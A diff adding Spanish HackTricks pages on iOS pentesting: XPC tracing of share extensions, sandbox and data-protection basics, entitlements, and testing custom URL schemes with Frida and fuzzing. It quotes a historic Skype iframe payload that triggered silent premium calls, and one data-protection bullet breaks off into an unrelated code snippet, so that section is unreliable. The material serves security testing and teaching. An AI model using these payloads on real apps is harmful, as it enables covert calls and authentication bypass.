0x182973224 Foundation!__NSXPCCONNECTION_IS_CALLING_OUT_TO_EXPORTED_OBJECT_S3__
|
||||
0x182971968 Foundation!-[NSXPCConnection _decodeAndInvokeMessageWithEvent:flags:]
|
||||
0x182748830 Foundation!message_handler
|
||||
0x181ac27d0 libxpc.dylib!_xpc_connection_call_event_handler
|
||||
0x181ac0168 libxpc.dylib!_xpc_connection_mach_event
|
||||
...
|
||||
RET: (
|
||||
"<NSExtensionItem: 0x1c420a540> - userInfo:
|
||||
{
|
||||
NSExtensionItemAttachmentsKey = (
|
||||
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
|
||||
);
|
||||
}"
|
||||
)
|
||||
```
|
||||
Aquí podemos observar que:
|
||||
|
||||
* Esto ocurrió bajo el capó a través de XPC, concretamente se implementa a través de una `NSXPCConnection` que utiliza el marco `libxpc.dylib`.
|
||||
* Los UTI incluidos en `NSItemProvider` son `public.plain-text` y `public.file-url`, este último se incluye en `NSExtensionActivationRule` del [`Info.plist` de la "Extensión de Compartir" de Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
|
||||
|
||||
**Identificación de las Extensiones de Aplicaciones Involucradas**
|
||||
|
||||
También puede descubrir qué extensión de aplicación se encarga de sus solicitudes y respuestas enganchando `NSExtension - _plugIn`:
|
||||
|
||||
Ejecutamos el mismo ejemplo de nuevo:
|
||||
```bash
|
||||
(0x1c0370200) NSExtension - _plugIn
|
||||
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
|
||||
1(2) /private/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35
|
||||
/Telegram X.app/PlugIns/Share.appex>
|
||||
|
||||
(0x1c0372300) -[NSExtension _plugIn]
|
||||
RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137-5184-4459-A70A-83
|
||||
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
|
||||
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
|
||||
```
|
||||
Como se puede ver, hay dos extensiones de aplicaciones involucradas:
|
||||
|
||||
* `Share.appex` está enviando el archivo de texto (`public.plain-text` y `public.file-url`).
|
||||
* `com.apple.mobilenotes.SharingExtension.appex` que está recibiendo y procesará el archivo de texto.
|
||||
|
||||
Si desea aprender más sobre lo que está sucediendo bajo el capó en términos de XPC, recomendamos echar un vistazo a las llamadas internas de "libxpc.dylib". Por ejemplo, puede usar [`frida-trace`](https://www.frida.re/docs/frida-trace/) y luego profundizar en los métodos que encuentre más interesantes mediante la extensión de los stubs generados automáticamente.
|
||||
|
||||
###
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparta sus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
136
mobile-pentesting/ios-pentesting/ios-basics.md
Normal file
136
mobile-pentesting/ios-pentesting/ios-basics.md
Normal file
|
@ -0,0 +1,136 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Separación de privilegios y sandbox
|
||||
|
||||
Las aplicaciones a las que el usuario puede acceder se ejecutan como el usuario **mobile**, mientras que los procesos críticos del sistema se ejecutan como **root**.\
|
||||
Sin embargo, el sandbox permite un mejor control sobre las acciones que los procesos y aplicaciones pueden realizar.
|
||||
|
||||
Por ejemplo, incluso si dos procesos se ejecutan como el mismo usuario (mobile), **no se les permite acceder o modificar los datos del otro**.
|
||||
|
||||
Cada aplicación se instala en **`private/var/mobile/Applications/{ID aleatorio}`**\
|
||||
Una vez instaladas, las aplicaciones tienen acceso de lectura limitado a algunas áreas y funciones del sistema (SMS, llamadas telefónicas...). Si una aplicación quiere acceder a un **área protegida**, aparece una **ventana emergente que solicita permiso**.
|
||||
|
||||
# Protección de datos
|
||||
|
||||
Los desarrolladores de aplicaciones pueden aprovechar las API de _Data Protection_ de iOS para implementar un **control de acceso detallado** para los datos del usuario almacenados en la memoria flash. Las API se basan en el **procesador Secure Enclave** (SEP). El SEP es un coprocesador que proporciona **operaciones criptográficas para la protección de datos y la gestión de claves**. Una clave de hardware específica del dispositivo, el **UID del dispositivo** (ID único), está **incrustada en el enclave seguro**, asegurando la integridad de la protección de datos incluso cuando el kernel del sistema operativo está comprometido.
|
||||
|
||||
Cuando se crea un **archivo** en el disco, se genera una nueva **clave AES de 256 bits** con la ayuda del generador de números aleatorios basado en hardware del enclave seguro. El **contenido del archivo se cifra con la clave generada**. Y luego, esta **clave se guarda cifrada con una clave de clase** junto con **el ID de clase**, con **ambos datos cifrados por la clave del sistema**, dentro de los **metadatos** del archivo.
|
||||
|
||||
![](<../../.gitbook/assets/image (473).png>)
|
||||
|
||||
Para descifrar el archivo, se **descifran los metadatos usando la clave del sistema**. Luego, utilizando el **ID de clase**, se **recupera la clave de clase** **para descifrar la clave por archivo y descifrar el archivo.**
|
||||
|
||||
Los archivos se pueden asignar a una de **cuatro** **clases de protección** diferentes, que se explican con más detalle en la [Guía de seguridad de la plataforma Apple](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf):
|
||||
|
||||
* **Protección completa (NSFileProtectionComplete)**: Una clave derivada del código de acceso del usuario y el UID del dispositivo protege esta clave de clase. La clave derivada se borra de la memoria poco después de que el dispositivo se bloquee, lo que hace que los datos sean inaccesibles hasta que el usuario desbloquee el dispositivo.
|
||||
* **Protegido a menos que se abra (NSFileProtectionCompleteUnlessOpen)**: Esta clase de protección es similar a la protección completa, pero, si el archivo se abre cuando está desbloqueado, la aplicación puede seguir accediendo al archivo incluso si el usuario bloquea el dispositivo. Esta clase de protección se utiliza cuando, por ejemplo, se está descargando un archivo adjunto de correo electrónico en segundo plano.
|
||||
* **Protegido hasta la primera autenticación del usuario (
|
||||
```objectivec
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
if userDefaults.bool(forKey: "hasRunBefore") == false {
|
||||
// Remove Keychain items here
|
||||
|
||||
// Update the flag indicator
|
||||
userDefaults.set(true, forKey: "hasRunBefore")
|
||||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
* Al desarrollar la funcionalidad de cierre de sesión para una aplicación iOS, asegúrese de que los datos de Keychain se borren como parte del cierre de sesión de la cuenta. Esto permitirá a los usuarios eliminar sus cuentas antes de desinstalar una aplicación.
|
||||
|
||||
# **Capacidades de la aplicación**
|
||||
|
||||
**Cada aplicación tiene un directorio de inicio único y está aislada**, por lo que no pueden acceder a recursos del sistema protegidos o archivos almacenados por el sistema o por otras aplicaciones. Estas restricciones se implementan mediante políticas de aislamiento (también conocidas como _perfiles_), que son aplicadas por el [Marco de Control de Acceso Obligatorio de BSD de Confianza (MAC)](http://www.trustedbsd.org/mac.html) a través de una extensión del kernel.
|
||||
|
||||
Algunas [**capacidades/permisos**](https://help.apple.com/developer-account/#/dev21218dfd6) pueden ser configuradas por los desarrolladores de la aplicación (por ejemplo, Protección de Datos o Compartir Keychain) y tendrán efecto directo después de la instalación. Sin embargo, para otros, **se le pedirá explícitamente al usuario la primera vez que la aplicación intente acceder a un recurso protegido**.
|
||||
|
||||
Las [_cadenas de propósito_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322) o _cadenas de descripción de uso_ son textos personalizados que se ofrecen a los usuarios en la alerta de solicitud de permiso del sistema al solicitar permiso para acceder a datos o recursos protegidos.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
|
||||
|
||||
Si se tiene el código fuente original, se pueden verificar los permisos incluidos en el archivo `Info.plist`:
|
||||
|
||||
* Abra el proyecto con Xcode.
|
||||
* Encuentre y abra el archivo `Info.plist` en el editor predeterminado y busque las claves que comienzan con `"Privacidad -"`.
|
||||
|
||||
Puede cambiar la vista para mostrar los valores en bruto haciendo clic con el botón derecho y seleccionando "Mostrar claves/valores en bruto" (de esta manera, por ejemplo, `"Privacidad - Descripción de uso de ubicación cuando se usa"` se convertirá en `NSLocationWhenInUseUsageDescription`).
|
||||
|
||||
Si solo se tiene el IPA:
|
||||
|
||||
* Descomprima el IPA.
|
||||
* El archivo `Info.plist` se encuentra en `Payload/<nombre de la aplicación>.app/Info.plist`.
|
||||
* Conviértalo si es necesario (por ejemplo, `plutil -convert xml1 Info.plist`) como se explica en el capítulo "Pruebas básicas de seguridad de iOS", sección "El archivo Info.plist".
|
||||
* Inspeccione todas las claves de _cadenas de propósito en el archivo Info.plist_, que generalmente terminan con `UsageDescription`:
|
||||
|
||||
```markup
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Se utiliza su ubicación para proporcionar indicaciones de giro a su destino.</string>
|
||||
```
|
||||
|
||||
## Capacidades del dispositivo
|
||||
|
||||
Las capacidades del dispositivo se utilizan por la App Store para garantizar que solo se enumeren dispositivos compatibles y, por lo tanto, se les permita descargar la aplicación. Se especifican en el archivo `Info.plist` de la aplicación bajo la clave [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
```markup
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
> Por lo general, encontrará la capacidad `armv7`, lo que significa que la aplicación está compilada solo para el conjunto de instrucciones armv7, o si es una aplicación universal de 32/64 bits.
|
||||
|
||||
Por ejemplo, una aplicación puede depender completamente de NFC para funcionar (por ejemplo, una aplicación "Lector de etiquetas NFC"). Según la [Referencia de compatibilidad de dispositivos iOS archivada](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC solo está disponible a partir del iPhone 7 (y iOS 11). Un desarrollador podría querer excluir todos los dispositivos incompatibles estableciendo la capacidad del dispositivo `nfc`.
|
||||
|
||||
## Derechos
|
||||
|
||||
> Los derechos son pares de clave-valor que se firman en una aplicación y permiten la autenticación más allá de los factores de tiempo de ejecución, como el ID de usuario de UNIX. Dado que los derechos están firmados digitalmente, no se pueden cambiar. Los derechos se utilizan ampliamente por las aplicaciones y demonios del sistema para **realizar operaciones privilegiadas específicas que de lo contrario requerirían que el proceso se ejecutara como root**. Esto reduce en gran medida el potencial de escalada de privilegios por parte de una aplicación o demonio del sistema comprometido.
|
||||
|
||||
Por ejemplo, si desea establecer la capacidad "Protección de datos predeterminada", deberá ir a la pestaña **Capacidades** en Xcode y habilitar **Protección de datos**. Esto se escribe directamente por Xcode en el archivo `<nombre de la aplicación>.entitlements` como el derecho `com.apple.developer.default-data-protection` con el valor predeterminado `NSFileProtectionComplete`. En el IPA, podemos encontrar esto en `embedded.mobileprovision` como:
|
||||
```markup
|
||||
<key>Entitlements</key>
|
||||
<dict>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
</dict>
|
||||
```
|
||||
Para otras capacidades como HealthKit, se debe pedir permiso al usuario, por lo tanto, no es suficiente agregar los entitlements, se deben agregar claves y cadenas especiales al archivo `Info.plist` de la aplicación.
|
||||
|
||||
# Conceptos básicos de Objective-C y Swift
|
||||
|
||||
**Objective-C** tiene un **tiempo de ejecución dinámico**, por lo que cuando se ejecuta un programa Objective-C en iOS, llama a bibliotecas cuyas **direcciones se resuelven en tiempo de ejecución** comparando el nombre de la función enviada en el mensaje con una lista de todos los nombres de función disponibles.
|
||||
|
||||
Al principio, solo las aplicaciones creadas por Apple se ejecutaban en los iPhones, por lo que tenían **acceso a todo** ya que eran **confiables**. Sin embargo, cuando Apple **permitió** **aplicaciones de terceros**, Apple simplemente eliminó los archivos de encabezado de las funciones poderosas para "ocultarlas" a los desarrolladores. Sin embargo, los desarrolladores descubrieron que las funciones "seguras" necesitaban algunas de estas funciones no documentadas y simplemente creando un **archivo de encabezado personalizado con los nombres de las funciones no documentadas, era posible invocar estas poderosas funciones ocultas**. En realidad, Apple, antes de permitir que una aplicación se publique, verifica si la aplicación llama a alguna de estas funciones prohibidas.
|
||||
|
||||
Luego apareció Swift. Como **Swift está vinculado estáticamente** (no resuelve la dirección de las funciones en tiempo de ejecución como Objective-C), se pueden verificar más fácilmente las llamadas que un programa Swift va a hacer mediante análisis de código estático.
|
||||
|
||||
# Gestión de dispositivos
|
||||
|
||||
A partir de la versión 6 de iOS, hay **soporte incorporado para la capacidad de gestión de dispositivos** con controles de granularidad fina que permiten a una organización controlar los dispositivos corporativos de Apple.\
|
||||
La inscripción puede ser **iniciada por el usuario instalando un agente** para acceder a las aplicaciones corporativas. En este caso, el dispositivo generalmente pertenece al usuario.\
|
||||
O la **empresa puede indicar los números de serie** de los dispositivos comprados o el ID del pedido de compra y especificar el perfil MDM para instalar en esos dispositivos. Tenga en cuenta que Apple **no permite inscribir un dispositivo en particular de esta manera dos veces**. Una vez que se elimina el primer perfil, el usuario debe dar su consentimiento para instalar otro.
|
||||
|
||||
El usuario puede ver las políticas instaladas en _**Configuración**_ --> _**General**_ --> _**Perfiles y gestión de dispositivos**_
|
||||
|
||||
Como estas políticas MDM están verificando y limitando otras aplicaciones, se están **ejecutando con más privilegios**.\
|
||||
Una política MDM puede **obligar** a los **usuarios** a tener un **código de acceso** establecido con una **complejidad de contraseña mínima**.\
|
||||
Los perfiles están vinculados al ID de dispositivo, **firmados** y **encriptados** por el servidor MDM y **a prueba de manipulaciones**. No se pueden eliminar sin **perder** todos los **datos corporativos**.\
|
||||
Los perfiles MDM permiten **borrar** todos los **datos** si hay X **intentos fallidos** de **contraseña**. Además, el **administrador** puede **borrar** el iPhone de forma remota en cualquier momento a través de la interfaz MDM.
|
||||
|
||||
Los agentes MDM también **verificarán** posibles **jailbreaks del dispositivo**, ya que este es un estado muy peligroso para un iPhone.
|
|
@ -0,0 +1,198 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Los esquemas de URL personalizados [permiten que las aplicaciones se comuniquen a través de un protocolo personalizado](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). Una aplicación debe declarar el soporte para los esquemas y manejar las URL entrantes que usan esos esquemas.
|
||||
|
||||
> Los esquemas de URL ofrecen un posible vector de ataque a su aplicación, así que asegúrese de **validar todos los parámetros de URL** y **descartar cualquier URL malformada**. Además, limite las **acciones** disponibles a aquellas que **no pongan en riesgo los datos del usuario**.
|
||||
|
||||
Por ejemplo, la URI: `myapp://hostname?data=123876123` **invocará** la **aplicación** mydata (la que ha **registrado** el esquema `mydata`) a la **acción** relacionada con el **hostname** `hostname` enviando el **parámetro** `data` con valor `123876123`.
|
||||
|
||||
Un ejemplo vulnerable es el siguiente [bug en la aplicación móvil de Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), descubierto en 2010: La aplicación de Skype registró el manejador de protocolo `skype://`, lo que **permitió que otras aplicaciones activaran llamadas a otros usuarios de Skype y números de teléfono**. Desafortunadamente, Skype no solicitó permiso a los usuarios antes de realizar las llamadas, por lo que cualquier aplicación podía llamar a números arbitrarios sin el conocimiento del usuario. Los atacantes explotaron esta vulnerabilidad colocando un `<iframe src="skype://xxx?call"></iframe>` invisible (donde `xxx` fue reemplazado por un número premium), por lo que cualquier usuario de Skype que visitara inadvertidamente un sitio web malicioso llamaba al número premium.
|
||||
|
||||
Puede encontrar los **esquemas registrados por una aplicación** en el archivo **`Info.plist`** de la aplicación buscando **`CFBundleURLTypes`** (ejemplo de [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)):
|
||||
```markup
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
```
|
||||
Sin embargo, tenga en cuenta que las aplicaciones maliciosas pueden volver a registrar URIs ya registrados por otras aplicaciones. Por lo tanto, si está enviando información sensible a través de URIs (myapp://hostname?password=123456), una aplicación maliciosa puede interceptar el URI con la información sensible.
|
||||
|
||||
Además, la entrada de estos URIs debe ser verificada y saneada, ya que puede provenir de orígenes maliciosos que intentan explotar SQLInjections, XSS, CSRF, Path Traversals u otras posibles vulnerabilidades.
|
||||
|
||||
## Registro de esquemas de consulta de aplicaciones
|
||||
|
||||
Las aplicaciones pueden llamar a [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) para verificar que la aplicación de destino está disponible. Sin embargo, como este método estaba siendo utilizado por aplicaciones maliciosas como una forma de enumerar aplicaciones instaladas, [a partir de iOS 9.0, los esquemas de URL pasados a él también deben ser declarados](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) agregando la clave `LSApplicationQueriesSchemes` al archivo `Info.plist` de la aplicación y un array de hasta 50 esquemas de URL.
|
||||
```markup
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
`canOpenURL` siempre devolverá `NO` para los esquemas no declarados, independientemente de si hay o no una aplicación adecuada instalada. Sin embargo, esta restricción solo se aplica a `canOpenURL`.
|
||||
|
||||
## Pruebas de manejo y validación de URL
|
||||
|
||||
Para determinar cómo se construye y valida una ruta de URL, si tiene el código fuente original, puede **buscar los siguientes métodos**:
|
||||
|
||||
* Método `application:didFinishLaunchingWithOptions:` o `application:will-FinishLaunchingWithOptions:`: verifique cómo se toma la decisión y cómo se recupera la información sobre la URL.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verifique cómo se abre el recurso, es decir, cómo se analizan los datos, verifique las [opciones](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especialmente si se debe permitir o denegar el acceso por parte de la aplicación que llama ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)). La aplicación también puede necesitar permiso del usuario al usar el esquema de URL personalizado.
|
||||
|
||||
En Telegram [encontrará cuatro métodos diferentes que se utilizan](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250):
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?,
|
||||
annotation: Any) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ app: UIApplication, open url: URL,
|
||||
options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, handleOpen url: URL) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
```
|
||||
## Probando solicitudes de URL a otras aplicaciones
|
||||
|
||||
El método [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) y el método [obsoleto `openURL:` de `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) son responsables de **abrir URLs** (es decir, enviar solicitudes / hacer consultas a otras aplicaciones) que pueden ser locales para la aplicación actual o pueden ser proporcionadas por una aplicación diferente. Si tiene el código fuente original, puede buscar directamente los usos de esos métodos.
|
||||
|
||||
Además, si está interesado en saber si la aplicación está consultando servicios o aplicaciones específicas, y si la aplicación es conocida, también puede buscar en línea los esquemas de URL comunes e incluirlos en sus **greps (l**[**ista de esquemas de aplicaciones iOS**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**.
|
||||
```bash
|
||||
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
|
||||
egrep -nr "openURL\(" ./Telegram-iOS/
|
||||
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
|
||||
egrep -nr "://" ./Telegram-iOS/
|
||||
```
|
||||
## Pruebas para métodos obsoletos
|
||||
|
||||
Busque métodos obsoletos como:
|
||||
|
||||
* [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc)
|
||||
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
|
||||
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
|
||||
|
||||
Por ejemplo, aquí encontramos esos tres:
|
||||
```bash
|
||||
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
|
||||
|
||||
0x1000d9e90 31 30 UIApplicationOpenURLOptionsKey
|
||||
0x1000dee3f 50 49 application:openURL:sourceApplication:annotation:
|
||||
0x1000dee71 29 28 application:openURL:options:
|
||||
0x1000dee8e 27 26 application:handleOpenURL:
|
||||
0x1000df2c9 9 8 openURL:
|
||||
0x1000df766 12 11 canOpenURL:
|
||||
0x1000df772 35 34 openURL:options:completionHandler:
|
||||
...
|
||||
```
|
||||
## Llamando a URLs arbitrarias
|
||||
|
||||
* **Safari**: Para probar rápidamente un esquema de URL, puedes abrir las URLs en Safari y observar cómo se comporta la aplicación. Por ejemplo, si escribes `tel://123456789`, Safari intentará iniciar una llamada al número.
|
||||
* **Notes App**: Mantén presionados los enlaces que has escrito para probar los esquemas de URL personalizados. Recuerda salir del modo de edición para poder abrirlos. Ten en cuenta que solo puedes hacer clic o mantener presionados los enlaces que incluyen esquemas de URL personalizados si la aplicación está instalada, de lo contrario no se resaltarán como _enlaces clicables_.
|
||||
* [**IDB**](https://github.com/facebook/idb):
|
||||
* Inicia IDB, conecta tu dispositivo y selecciona la aplicación objetivo. Puedes encontrar detalles en la [documentación de IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Ve a la sección **Manejadores de URL**. En **Esquemas de URL**, haz clic en **Actualizar**, y a la izquierda encontrarás una lista de todos los esquemas personalizados definidos en la aplicación que se está probando. Puedes cargar estos esquemas haciendo clic en **Abrir**, en el lado derecho. Simplemente abriendo un esquema de URI en blanco (por ejemplo, abriendo `myURLscheme://`), puedes descubrir funcionalidades ocultas (por ejemplo, una ventana de depuración) y evitar la autenticación local.
|
||||
* **Frida**:
|
||||
|
||||
Si simplemente quieres abrir el esquema de URL, puedes hacerlo usando Frida:
|
||||
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
||||
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
|
||||
En este ejemplo de [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/), el autor utiliza la API no pública `LSApplicationWorkspace.openSensitiveURL:withOptions:` para abrir las URLs (desde la aplicación SpringBoard):
|
||||
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
|
||||
> Ten en cuenta que el uso de APIs no públicas no está permitido en la App Store, por lo que ni siquiera las probamos, pero se nos permite usarlas para nuestro análisis dinámico.
|
||||
|
||||
## Fuzzing de Esquemas de URL
|
||||
|
||||
Si la aplicación analiza partes de la URL, también puedes realizar fuzzing de entrada para detectar errores de corrupción de memoria.
|
||||
|
||||
Lo que hemos aprendido anteriormente ahora se puede utilizar para construir tu propio fuzzer en el lenguaje de tu elección, por ejemplo, en Python y llamar a `openURL` usando [RPC de Frida](https://www.frida.re/docs/javascript-api/#rpc). Ese fuzzer debería hacer lo siguiente:
|
||||
|
||||
* Generar payloads.
|
||||
* Para cada uno de ellos, llamar a `openURL`.
|
||||
